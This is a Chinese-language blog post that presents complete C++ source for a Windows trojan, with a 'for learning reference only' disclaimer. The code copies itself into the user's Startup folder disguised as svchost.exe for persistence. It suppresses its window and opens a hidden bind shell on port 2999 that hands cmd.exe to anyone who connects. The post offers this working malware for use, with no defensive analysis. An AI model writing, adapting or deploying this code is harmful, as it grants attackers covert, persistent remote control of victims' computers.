使用C++编写一个木马

如何通过C++实现一个木马功能

准备开发环境：windows11 + visual studio 2022 社区版本

通过将程序自身复制到windows自启动目录，实现持久化（当然还有其他方式，比如操作注册表，后续更新）

void cp()
{
	//获取当前用户的家目录
	const char GDPath[] = "USERPROFILE";
	char* path = nullptr;  //定义一个空指针
	size_t sz = 0;
	_dupenv_s(&path, &sz, GDPath);
	//将家目录和启动目录的绝对路径进行拼接，不同windows版本操作系统的启动目录是不一样的，需要进行调整
	if (path != nullptr) {
		char AutoPath[MAX_PATH];
		strcpy_s(AutoPath, path);
		strcat_s(AutoPath, "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svchost.exe");
		
		//获取当前用户的绝对路径
		char currentPath[MAX_PATH];
		GetModuleFileName(NULL, currentPath, MAX_PATH);
        //文件复制
		CopyFile(currentPath, AutoPath, FALSE);		
		free(path); // 释放内存
	}
	else {
		cout << "Error: Unable to get environment variable." << endl;
	}
}

整个项目代码

#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS 
#pragma comment(lib,"ws2_32.lib")
//设置连接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include<windows.h>
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
#define MasterPort 2999 //定义监听端口
using namespace std;

void cp()
{
	const char GDPath[] = "USERPROFILE";
	char* path = nullptr;  //定义一个空指针
	size_t sz = 0;
	_dupenv_s(&path, &sz, GDPath);
	if (path != nullptr) {
		char AutoPath[MAX_PATH];
		strcpy_s(AutoPath, path);
		strcat_s(AutoPath, "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\svchost.exe");
		

		//获取当前用户的绝对路径
		char currentPath[MAX_PATH];
		GetModuleFileName(NULL, currentPath, MAX_PATH);

		CopyFile(currentPath, AutoPath, FALSE);
		free(path); // 释放内存
	}
	else {
		cout << "Error: Unable to get environment variable." << endl;
	}
}


void open_telnet() {
	WSADATA WSADa;//用来存储被WSAStartup函数调用后返回的win sockets数据
	sockaddr_in SockAddrin;
	SOCKET CSocket, SSocket;
	int AddrSize;
	PROCESS_INFORMATION Processinfo;
	STARTUPINFO Startupinfo;
	char szCMDPath[255];

	//配内存资源，初始化数据
	ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION));
	ZeroMemory(&Startupinfo, sizeof(STARTUPINFO));
	ZeroMemory(&WSADa, sizeof(WSADATA));

	//获取CMD路径
	GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));

	//加载ws2_32.dll
	WSAStartup(0x202, &WSADa);

	//设置本地信息和绑定协议，建立socket
	SockAddrin.sin_family = AF_INET;
	SockAddrin.sin_addr.s_addr = INADDR_ANY;
	SockAddrin.sin_port = htons(MasterPort);
	CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

	//设置绑定断端口2999
	bind(CSocket, (sockaddr*)&SockAddrin, sizeof(SockAddrin));

	//设置服务器监听端口
	listen(CSocket, 1);
	AddrSize = sizeof(SockAddrin);

	//开始连接远程服务器，并配置隐藏窗口结构体
	SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize);
	Startupinfo.cb = sizeof(STARTUPINFO);
	Startupinfo.wShowWindow = SW_HIDE;
	Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	Startupinfo.hStdInput = (HANDLE)SSocket;
	Startupinfo.hStdOutput = (HANDLE)SSocket;
	Startupinfo.hStdError = (HANDLE)SSocket;

	//创建匿名管道
	CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo);
	WaitForSingleObject(Processinfo.hProcess, INFINITE);
	CloseHandle(Processinfo.hProcess);
	CloseHandle(Processinfo.hThread);

	//关闭进程句柄
	closesocket(CSocket);
	closesocket(SSocket);
	WSACleanup();
	//关闭连接卸载ws2_32.dll
}

int main(void)
{
	cp();//开启自启动
	open_telnet();//远程telnet	
	return 0;
}

仅供学习参考。
分享一个帮助写代码的工具，讯飞星火，类似于Chat-GPT。有什么问题可以在这里问问，还可以对代码进行查漏补缺。

引用

https://juejin.cn/post/7171999949301743652?searchId=20240715211226E2480F051F3DB7275A43